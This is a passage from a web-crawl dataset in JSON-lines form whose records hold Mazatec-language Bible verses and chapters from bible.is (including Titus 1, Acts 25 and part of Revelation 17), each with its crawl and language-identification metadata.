Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/6","date":"2013-05-19T03:36:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383218\/warc\/CC-MAIN-20130516092623-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9993220568,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9993220567703247}","num_words":47,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Efesios 5:19\n19 Chi̱ko̱o xinguio̱o 'én-la̱ Nainá. Ti̱jndá-là so xi 'mì salmo, himno koa̱ ti̱jndá i̱jiìn ini̱ma̱-nò jè xi okóya-nò Ini̱ma̱ Tsjeè-la̱ Nainá. Jeya tikíjna Nainá nga ko̱ ini̱ma̱-nò.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/5\/19","date":"2013-05-24T06:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704253666\/warc\/CC-MAIN-20130516113733-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9946048856,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9946048855781555}","num_words":46,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 1:22\n22 Ko̱ tejè-ne Nainá xi tsibit'aà chi̱ba̱-ná koni jngoò sello; kisìkíjnajiìn ini̱ma̱-ná jè Ini̱ma̱ Tsjeè-la̱ xi tjoé ítjòn-ná nga kixi̱ kjoa̱ nga ti̱koa̱ tjoé yije-ná kjo̱nda xi tjíndaà-la̱ nga tsjá-ná.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/1\/22","date":"2013-05-22T01:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700984410\/warc\/CC-MAIN-20130516104304-00019-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9844030738,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9844030737876892}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 An Pablo, xi chi̱'nda-la̱ Nainá ma. Ti̱koa̱ an tsibíxáya-na Na̱'èn-ná Jesucristo mé-ne nga ko̱kjeiín-la̱ i̱t'aà ts'e̱ Cristo jñà xi̱ta̱ xi xó jè Nainá jaàjiìn-ne, ti̱koa̱ skoe̱ xi kjoa̱kixi̱ nga ko̱ma-la̱ skoe̱xkón Nainá. 2 Xi̱ta̱ koi k'oa̱á s'ín ko̱matin nga tíjngoò ikon nga nchikoña-la̱ nga kítsa̱jnakon ini̱ma̱-la̱ ni̱ta̱ kjé-ne koni s'ín kitsjaà tso'ba Nainá skanda k'e̱ nga ti̱kj'eè sindaà i̱sò'nde. Nainá mì kiì kona̱cha̱n. 3 K'e̱ nga jye ijchò na̱chrjein, Nainá kisìkatsejèn 'én-la̱ i̱t'aà ts'e̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi an chjàya. Na̱'èn-ná kisìnga̱tsja-na xá jè nga k'oa̱á s'ín tsatíxoma Nainá xi ochrjekàjiìn-ná kjo̱'in. 4 Ngaji̱, Tito, koni tsà ki'ndí ts'a̱n xan-lè nga ngásòn mokjeiín-ná i̱t'aà ts'e̱ Cristo, tísíkasén-lè xo̱jo̱n jè. Nainá xi Na̱'èn-ná ko̱ Na̱'èn-ná Jesucristo xi ochrjekàjiìn-ná kjo̱'in kàtatsjá-lè kjo̱ndaà-la̱, kàtahi̱ma̱keè-lè, ti̱koa̱ 'nchán kàtasíkíjna ini̱ma̱-lè. 5 Koií xá kisìkíjna-lè ján nangui Creta nga si̱kixi̱yi xá xi chijat'aà-ìsa. K'oa̱á ti̱ s'ín tsatíxoma-lè nga ki̱nchandeiì xi̱ta̱ jchínga xi si̱ìkinda̱ na̱xa̱ndá-la̱ Nainá nga jngoò ìjngoò na̱xa̱ndá. 6 Xi̱ta̱ jchínga xi si̱ìkitasòn xá, jñà-né xi ndaà nchisíjchá yijo-la̱ nga mì yá xi ch'o ki̱tso̱-la̱; xi jngoò ma chjo̱ón-la̱. Ko̱ jñà i̱xti-la̱ mochjeèn-né nga ndaà mokjeiín-la̱ i̱t'aà ts'e̱ Cristo nga mìtsà yá xi̱ta̱ ónè-la̱ kjoa̱ nga kjoa̱ská tjímajiìn ko̱ nga mì kiì 'nchréñijon. 7 Jè xi̱ta̱ xi si̱ìkinda̱ na̱xa̱ndá-la̱ Nainá xi xá-la̱ Nainá síkitasòn, machjeén-né nga ndaà s'iìn mé-ne nga nì yá xi ch'o ki̱tso̱-la̱. Mì kiì mochjeèn nga 'nga ikon ko̱ma; mì ta̱xki̱ ko̱jti-la̱; mì xán koa̱hijtako̱; mì xi̱ta̱ ska̱àn-ko̱; ko̱ mì to̱n chijé ko̱tsjakeè. 8 Ta̱ sa̱á ndaà kàtasís'in-la̱ xi̱ta̱ xi bijchókon. Kàtamatsjakeè kjoa̱ xi ndaà tjín. Indaà kàtìjna ikon. Kixi̱ kàtìjnako̱ xi̱ta̱. Tsjeè kàtasíjchá yijo-la̱ nga nguixko̱n Nainá, ndaà kàtasíkinda̱ yijo-la̱ nga mì ta̱xki̱ s'iìn-jèn. 9 Ndaà kàtíjiìn ikon 'én kixi̱ koni s'ín kis'eno̱jmí-la̱ mé-ne nga i̱t'aà ts'e̱ 'én ndaà xi ko̱kòya ko̱ma ki̱ìtin-la̱ xi̱ta̱ nga 'ñó kàteè-la̱ ikon ti̱koa̱ ko̱ma si̱ìkixi̱ya xi kondra̱ fìtji̱ngui-la̱ xi kjoa̱kixi̱. 10 Koií kjoa̱-la̱ tjín jchán xi̱ta̱ xi tájaàjiìn nga okóya 'én xi nìmé chjí-la̱ ti̱koa̱ kona̱cha̱n-la̱ xi̱ta̱ xi kj'ei̱í; jñà kó xi̱ta̱ xi 'ñó bìnè-la̱ xi̱ta̱ xi kj'ei̱í nga kjo̱'ñó si̱t'aà chi̱ba̱-la̱ yijo-la̱ kjoa̱ ts'e̱ circuncisión. 11 Jñà xi̱ta̱ koi mochjeèn-né nga kíchjoa'a nga sískáya-la̱ ngats'iì xi̱ta̱ xi títsa̱jna nga jngoò ìjngoò ni'ya. Tà jè xi mejèn-la̱ nga to̱n síchíjet'aà-la̱ xi̱ta̱ nga k'oa̱ tjín 'én xi okóya xi nìmé chjí-la̱. 12 Jngoò xi̱ta̱ chji̱ne̱ xi ti̱ ya-ne i̱'nde-la̱ Creta k'oa̱á kitsò-la̱ xi̱ta̱ xíkjín: \"Jñà xi̱ta̱ Creta, xi̱ta̱ ndiso-né, xi̱ta̱ ts'e̱n-né koni tsà cho̱ ijñá, xi̱ta̱ chrjá'a-né, xi̱ta̱ ts'eè-né.\" 13 'Én kixi̱í xi kiìchja̱ xi̱ta̱ jè; ngaji̱, Tito, koií kjoa̱-la̱ 'ñó ti̱nákjoa̱koi̱i mé-ne nga ndaà kítsa̱jnako̱-ne koni s'ín mokjeiín-la̱ i̱t'aà ts'e̱ Cristo, 14 koa̱ mé-ne nga mì jñà si̱ìs'in-la̱ cuento xi nìmé chjí-la̱ xi fìtji̱ngui i'nga-la̱ xi̱ta̱ judío ti̱koa̱ mì jñà si̱ìs'in-la̱ kjo̱tíxoma ts'e̱ xi̱ta̱ xi binchat'aàxìn-la̱ kjoa̱kixi̱. 15 Jñà xi̱ta̱ xi tsjeè tjín kjo̱hítsjeèn -la̱ tsjeè yije ma-la̱ ni̱ta̱ mé-ne. Ta̱nga jñà xi̱ta̱ xi mì tsjeè tjín kjo̱hítsjeèn-la̱ koa̱ mì kiì mokjeiín-la̱ i̱t'aà ts'e̱ Cristo, sa̱á tjé yije ma-la̱ ni̱ta̱ mé-ne; skanda jè ini̱ma̱-la̱ ko̱ kjo̱hítsjeèn-la̱ tjé tjín. 16 K'oa̱á tsò nga beèxkon Nainá ta̱nga jñà kjoa̱ xi s'ín 'ya-la̱ nga mì tsà kixi̱ kjoa̱. Xi̱ta̱ koi, 'ñó ch'o s'ín, mì kiì 'nchréñijon, ti̱koa̱ nì mé chjí-la̱ nga ni̱ jngoò ma-la̱ síkitasòn xá xi ndaà tjín.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Titus\/1","date":"2013-06-20T04:46:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368710299158\/warc\/CC-MAIN-20130516131819-00049-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000070333480835}","num_words":520,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Efesios 5:5\n5 Jye tíjiìn-nò nga mì kiì ko̱ma kjoa̱hasen ñánda tího̱tíxoma Cristo ko̱ Nainá, ngats'iì xi̱ta̱ xi kjoa̱ chijngui s'ín, xi kjoa̱ xi 'ñó tjé s'ín ko̱ nga maxìtakon-keè xíkjín. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, ta jñà kjoa̱ koi beèxkón nga nei-la̱ ma.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/5\/5","date":"2013-05-25T00:58:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705305291\/warc\/CC-MAIN-20130516115505-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9977868199,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.997786819934845}","num_words":61,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 2:25\n25 Kiìchja̱ Jesús kitsò-la̱: —¿Jñò, a mìtsà jye tíjiìn-nò koni s'ín tíchja̱ Xo̱jo̱n-la̱ Nainá koni kis'iìn xi̱ta̱xá ítjòn xi ki'mì David ko̱ jñà xi̱ta̱-la̱ xi kjihijtako̱ k'e̱ nga no̱'miì ítjòn tsibijna jè Abiatar? K'e̱ nga kjòhojò-la̱ nga nì mé tjín xi kine, jasen ni'ya-la̱ Nainá. Tsakjèn i̱nchra̱jín tsjeè-la̱ Nainá. Ti̱koa̱ kitsjaà-la̱ xi̱ta̱-la̱ xi tji̱ko̱. Mì kiì tjí'nde nga jñà ko̱kje̱n. Tà jñà na̱'miì tjí'nde-la̱ nga ko̱kje̱n.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/2\/25","date":"2013-05-24T03:02:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704133142\/warc\/CC-MAIN-20130516113533-00052-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998126626,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999812662601471}","num_words":86,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.256,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pedro 2:4\n4 Nga Nainá mì kiì kisìjchat'aà-la̱ jñà àkja̱le̱ xi tsohótsji jé. Ján kiskinìjiìn i̱'nde kjo̱'in ñánda títì ni'ín. Na'ñó ki̱cha̱ cadena tsibít'aà'ñó. Ya̱ kisìkítsa̱jnaya nga̱jo̱ ñánda jñò chon, skanda jè na̱chrjein k'e̱ nga sindaájiìn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/4","date":"2013-05-24T23:56:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705300740\/warc\/CC-MAIN-20130516115500-00087-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9927062988,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.992706298828125}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:20\n20 O̱kixi̱í xi xan-nò, tsà mìkiì ìsa̱ ndaà sikitasòn kjoa̱kixi̱ koni jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma-la̱ Nainá xi kiskiì Moisés, mì kiì ki̱tjás'en-jñoò ñánda tíhotíxoma jè xi ngajmiì nchrobá-ne.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/20","date":"2013-06-19T13:48:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708789647\/warc\/CC-MAIN-20130516125309-00093-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9979660511,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9979660511016846}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.231,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Juan 3:3\n3 Ngats'iì xi̱ta̱ xi k'oa̱s'ín nchikoña nga k'oa̱á s'ín kjoàn ko̱ma koni kji jè Jesucristo, na̱chrjein nchijón-né nga tsjeè nchisíjchá yijo-la̱ koni s'ín nga xi̱ta̱ tsjeè je Jesucristo.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/3","date":"2013-05-22T02:42:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701153213\/warc\/CC-MAIN-20130516104553-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9903747439,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.990374743938446}","num_words":47,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Efesios 5:3\n3 Jè xi kjoa̱ chijngui, ngats'iì kjoa̱ ch'o xi 'ñó tjé tjín ko̱ kjoa̱ nga maxìtakon-chaà xinguio̱o mì ti̱ k'oa̱á tjín kjoa̱ xi ko̱xki̱-ne i̱t'aà tsajòn. Nga̱ jñò, xi̱ta̱ tsjeè-la̱ Nainá 'mì-nò.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/5\/3","date":"2013-05-22T15:16:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701910820\/warc\/CC-MAIN-20130516105830-00077-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9977949858,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9977949857711792}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Festo ijchò Cesarea nga jahas'en xi̱ta̱xá ítjòn; xi komà jàn na̱chrjein itjo-ne Cesarea, kiì Jerusalén. 2 K'e̱ nga jye tíjna Jerusalén, jñà na̱'miì ítjòn ko̱ xi̱ta̱ sko̱-la̱ xi̱ta̱ judío ijchòkon nga tsohóngui Pablo; kitsjaàtin 'én xi kondra̱ ts'e̱. 3 Xi̱ta̱ koi, kisìjé-la̱ kjo̱ndaà jè Festo nga kàtjanchrobáko̱ Pablo ya̱ Jerusalén. K'oa̱á s'ín jye tjíndaà-la̱ nga kítsa̱chjoà ikon-la̱ ya̱ i̱ya ndi̱yá mé-ne nga si̱ìk'en-ne. 4 Ta̱nga jè Festo, kitsò: —Majìn, mì kiì ko̱ma, nga jè Pablo nda̱yá tíjna ján Cesarea; 'an, jyeé ya̱ tífia. 5 Jñà xi̱ta̱xá-nò ko̱ma ko̱hijtako̱-na ján Cesarea mé-ne ko̱ma ko̱hóngui-ne xi̱ta̱ jè, tsà mé jé xi tjín-la̱. 6 Jè Festo tsibìjna-la̱ tsà nguì jiìn na̱chrjein ko̱ tsà te na̱chrjein ján Jerusalén; i̱kjoàn kiì ìjngoò k'a-ne ján Cesarea; nga komà inchijòn ijchò ni'ya osen, tsibìjnanè íxi̱le̱-la̱ ñánda otíxoma; i̱kjoàn kiskinìkjaá Pablo. 7 K'e̱ nga jahas'en ni'ya osen Pablo, jñà xi̱ta̱ judío xi j'iì-ne Jerusalén, kiì kinchat'aà chrañà-la̱ nga kitsjaàtin 'én ndiso xi 'ñó ch'o tsò ta̱nga mì kiì komà kjòkixi̱ya 'én xi kitsjaàtin. 8 Pablo tsasíko̱ yijo-la̱ kitsò: —Ni̱ mé jé xi tsohotsjià xi kondra̱ ts'e̱ kjo̱tíxoma-la̱ xi̱ta̱ judío, ni̱ jè kondra̱ ts'e̱ i̱ngo̱ ítjòn-la̱ Nainá, ni̱ jè kondra̱ ts'e̱ Cesar xi xi̱ta̱xá ítjòn ts'e̱ Roma. 9 Ta̱nga jè Festo mejèn-la̱ nga ndaà kíjnako̱ xi̱ta̱ judío; kiskònangui-la̱ Pablo, kitsò-la̱: —¿A mejèn-le nga k'oín ján Jerusalén mé-ne nga ya̱ kìndaàjña kjoa̱-lè? 10 Pablo kitsò: —Jye i̱ tijna̱a ñánda tjín kjo̱tíxoma-la̱ Cesar xi xi̱ta̱xá ítjòn ts'e̱ Roma. Mochjeén-né nga i̱ kàtasindaàjiìn-na. Ngaji̱ ndaà tíjiìn-lè nga nì mé kjoa̱ tsohotsjià i̱t'aà ts'e̱ xi̱ta̱ judío. 11 Tsà tjín-na jé, tsà ok'ìn-la̱ nga ki̱yá, tíjngoò takoàn nga kàtasík'en-na; ta̱nga tsà mì kixi̱í kjoa̱ 'én xi tsjátin-na, mì kiì ko̱ma ya̱ ko̱ngatsja i̱t'aà ts'e̱ xi̱ta̱ koi. Ti̱koa̱á-ne, jè kàtìndaàjiìn-na Cesar xi xi̱ta̱xá ítjòn ts'e̱ Roma. 12 Jè Festo, k'e̱é tsajoóya-ne ko̱ xi̱ta̱-la̱ xi títsa̱jnako̱ junta, i̱kjoàn kitsò: —Tsà k'oa̱á s'ín nìjì nga jè Cesar ki̱ìndaàjiìn-lè, tà sa̱á ján sìkasén-le. 13 K'e̱ nga jye tsato chiba na̱chrjein, jè xi̱ta̱xá Agripa ko̱ Berenice kiì ján Cesarea nga kisìhixat'aà Festo. 14 Kjìn na̱chrjein tsibìtsa̱jna ya̱ Cesarea; jè Festo tsibeèno̱jmí-la̱ Agripa kjoa̱-la̱ Pablo, kitsò-la̱: —Jè Félix, jngoò xi̱ta̱ kisìkíjnaya nda̱yá i̱jndé. 15 K'e̱ nga tsohóti̱jna ján Jerusalén, jñà xi̱ta̱ sko̱-la̱ no̱'miì ko̱ xi̱ta̱ jchínga-la̱ xi̱ta̱ judío kitsjaà-na 'én nga óngui. Kisìjé nga kàtiyaà. 16 'An, k'oa̱á kixan-la̱ nga jñà xi̱ta̱xá Roma, mì ta̱xki̱ sík'en xi̱ta̱ k'e̱ nga ti̱ kj'eè 'ya-la̱ jé xi tjín-la̱. Ítjòn joó'a kjoa̱-la̱ ko̱ jñà xi̱ta̱ xi óngui mé-ne nga ko̱ma ki̱nchako̱-ne yijo-la̱. 17 Koií kjoa̱-la̱, k'e̱ nga j'iì i̱jndé jñà xi̱ta̱ koi, mì kiì kisìchjà na̱chrjein; nga ko̱ma inchijòn, nga jye tìjnasoán íxi̱le̱-na̱ nga tìhotiìxoma, ni̱to̱ón kiskinìkjaá xi̱ta̱ jè. 18 K'e̱ nga jye títsa̱jna osen jñà xi̱ta̱ xi óngui, mì tsà koi kjoa̱ tsohóngui koni s'ín 'an tísíkítsjeèn. 19 Tà k'oa̱á tjín 'én xi kitsjaàtin xi kondra̱ ts'e̱ Pablo koni s'ín beèxkón Nainá ko̱ i̱t'aà ts'e̱ jngoò xi̱ta̱ xi 'mì Jesús xi jye k'en; ta̱nga jè Pablo tsò-né nga tíjnakon-né. 20 'An, mì kiì be mé xi s'iaàn i̱t'aà ts'e̱ kjoa̱ koi. K'e̱é kiskònangui-la̱ Pablo, a mejèn-la̱ nga ján kjoi̱ Jerusalén mé-ne nga ya̱ si̱ndaàjiìn-la̱ kjoa̱ xi fìnè. 21 K'oa̱á s'ín kisìjé Pablo nga jè Cesar ki̱ìndaàjiìn-la̱. Koií k'oa̱ s'ín kitsja-na o̱kixi̱ nga nda̱yá tíjnaya isa skanda k'e̱ nga ko̱ma sìkasén-la̱ Cesar. 22 Agripa kitsò-la̱ jè Festo: —Ti̱koa̱á 'an mejèn-na nga ki'nchrè-la̱ xi̱ta̱ jè. Festo kitsò: —Nchijòn-le̱ ki̱ná'ya-la̱. 23 Nga komà inchijòn, ijchò Agripa ko̱ Berenice. K'e̱ nga jahas'en ni'ya osen 'ñó ndaà kisìsin-la̱. Kjìhijtako̱ jñà xi̱ta̱ sko̱-la̱ soldado ko̱ jñà xi̱ta̱ sko̱-la̱ na̱xa̱ndá. Festo kitsjaà o̱kixi̱ nga kiìchjaà Pablo. 24 Festo kitsò: —Ngaji̱ Agripa xi xi̱ta̱xá ítjòn tijni, ngats'ioò xi i̱ titsa̱jnaà: chítsejèn-là xi̱ta̱ jè. Ngats'iì jñà xi̱ta̱ judío, 'ñó síjét'aà-na ján Jerusalén ko̱ i̱ Cesarea nga 'ñó chja̱ nga mejèn-la̱ si̱ìk'en. 25 Ta̱nga 'an, nì mé xi matsjit'aà-na i̱t'aà ts'e̱ nga machjeén-la̱ nga ki̱yá. Ta̱nga tso'baá kisìjé-ne nga jè ki̱ìndaàjiìn-la̱ Cesar xi xi̱ta̱xá sko̱-la̱ tíjna-la̱ ngats'iì xi̱ta̱. 'An, k'oa̱á s'ín kiskoòsòn-la̱ nga ya̱ sìkasén. 26 Ta̱nga 'an, ni̱ mé kjoa̱ xi matsji-na i̱t'aà ts'e̱ xi̱ta̱ jè, kós'ín sìkasén-la̱ xo̱jo̱n jè Cesar xi xi̱ta̱xá sko̱-la̱ tíjna-la̱ ngats'iì xi̱ta̱. K'oa̱á ma-ne nga sìjét'aà-nò jñò xi i̱ titsa̱jna ko̱ ngaji̱ Agripa xi xi̱ta̱xá ítjòn tijni, mé-ne k'e̱ nga jye chjinangui-lá, 'an sakó-na o̱kixi̱ nga sìkasén xi̱ta̱ jè. 27 'An, k'oa̱á ma-na, nga nì mé chjí-la̱ tsà ta̱xki̱ sìkasén jngoaá xi̱ta̱ xi nda̱yá tíjna tsà mì sík'á jngoò xo̱jo̱n xi 'ya-la̱ mé jé xi tjín-la̱.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/25","date":"2013-05-20T05:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698354227\/warc\/CC-MAIN-20130516095914-00055-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000033378601074}","num_words":703,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.27,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 J'iì jngoò jñà àkja̱le̱ xi itoò ma-ne xi itoò chi̱tsín tjíya tsja, kiìchja̱, kitsò-na̱: —Nchroboí, ko̱koò-le kjo̱'in xi tjoé-la̱ jè chjo̱ón chi̱jngui xi 'ñó ndaà 'yaxkon-la̱ xi tíjnandiì ñánda nga kjìn xa̱jngá nandá faato. 2 Jñà xi̱ta̱xá ítjòn xi tjín i̱sò'nde, ya̱á tsafàhijtako̱ chjo̱ón jè nga kj'ei̱í Nainá kijtseèxkón k'oa̱á ngaya-la̱ tsà kjoa̱ chijngui kisìko̱ jè chjo̱ón. Ko̱ ngats'iì xi̱ta̱ xi tjín i̱sò'nde, k'oa̱á ti̱ kis'iìn nga kj'ei̱í Nainá kiìtji̱ngui-la̱ k'oa̱á ngaya-la̱ koni tsà xán ts'e̱ kjoa̱chijngui-la̱ chjo̱ón kjò'chi̱-ne. 3 I̱t'aà ts'e̱ Ini̱ma̱ Tsjeè-la̱ Nainá, jè àkja̱le̱ kiìko̱ ini̱ma̱-na̱ jngoò i̱'nde i̱t'aà xìn ñánda nangui kixì chon. Kijtseè jngoaà chjo̱ón xi tíjnakjá-la̱ cho̱ je xi ch'o kji xi inì kji. Yijájno yije yijo-la̱ 'én xi kondra̱ ts'e̱ Nainá nga chja̱jno-la̱. Itoò ma sko̱ ko̱ te ma nchra̱já-la̱. 4 Jè chjo̱ón, nikje sko ko̱ nikje inì kjoàn xi íkjá. Yijàjno xi nguiì oro ko̱ ndo̱jo̱ ote xi 'ñó ts'e̱ chjí-la̱, ko̱ ndáton fangui xi 'ñó chjí-la̱ xi 'mì perla. Tjíya tsja jngoò chi̱tsín xi nguiì oro; jè chi̱tsín kitseé kjoa̱ ch'o-la̱ ko̱ kjoa̱ tjé xi ts'e̱ kjoa̱ chijngui-la̱. 5 Ya̱ i̱tjòn tje̱n-la̱, tjít'aà 'én 'ma xi tsò: \"Babilonia xi 'ñó je kji nga ndaà 'yaxkon-la̱, jè nea̱-la̱ íchjín chijngui ko̱ ngats'iì kjoa̱ ch'o xi tjín i̱sò'nde.\" 6 K'e̱ nga kiskoò'an chjo̱ón jè, kijtseè xkoaàn nga ch'i̱-né nga jní-la̱ xi̱ta̱-la̱ Nainá kits'iì ko̱ ts'e̱ xi̱ta̱ xi kinìk'en nga 'én-la̱ Jesús kiìchja̱ya. K'e̱ nga kijtseè tà kjòxkón-na. 7 Kitsò-na jè àkja̱le̱: —¿Mé-ne maxkón-le? 'An, kèno̱jmí-le kó tsòya-ne kjoa̱ 'ma-la̱ chjo̱ón jè, ko̱ i̱t'aà ts'e̱ cho̱ je xi ch'o kji xi tíjnakjá-la̱ xi itoò ma sko̱ koa̱ te ma nchra̱já-la̱. 8 Jè cho̱ xi kà'yi, tsibìjnakon-né, ta̱nga i̱'ndei̱ tíjnak'en-né; ya̱á kji̱nchrobá mijiìn-ne ni̱tja̱n jñò mé-ne nga jngoò k'a chi̱ja-ne. Jñà xi̱ta̱ xi tjín i̱sò'nde, xi mì kiì tjít'aà 'ín-la̱ xo̱jo̱n ts'e̱ kjoa̱binachon kóni nga tisa kisindaà i̱sò'nde, tà ko̱xkón-la̱ k'e̱ nga skoe̱xkon jè cho̱ xi tsibìjnakon, ko̱ i̱'ndei̱ tíjnak'en-né, ta̱nga ko̱tsèjén ìjngoò k'a-ne. 9 'I̱íjndé mochjeén kjo̱hítsjeèn xi tjín-la̱ kjoa̱ chji̱ne̱. Jñà sko̱ cho̱ xi itoò ma-ne, jñà ngaya-la̱ jñà nindoò xi itoò ma-ne ñánda tíjnanè jè chjo̱ón. Ti̱koa̱á jñà ngaya̱-la̱ xi itoò ma-ne xi̱ta̱xá ítjòn. 10 'Òn ma-ne xi jye k'en, jngoò ma xi tíhotíxoma isa, ko̱ jè xi ìjngoò, kj'eè kiì f'iì. Ta̱nga k'e̱ nga kjoi̱í, tà chibaá na̱chrjein ko̱tixoma. 11 Jè cho̱ je xi ch'o kji xi tsibìjnakon ta̱nga i̱'ndei̱ tíjnak'en-né, jè xi ma-ne jiìn xi̱ta̱xá ítjòn. Ya̱á tíjnajiìn-la̱ xi itoò ma-ne, ko̱ ya̱á tífì ñánda nga 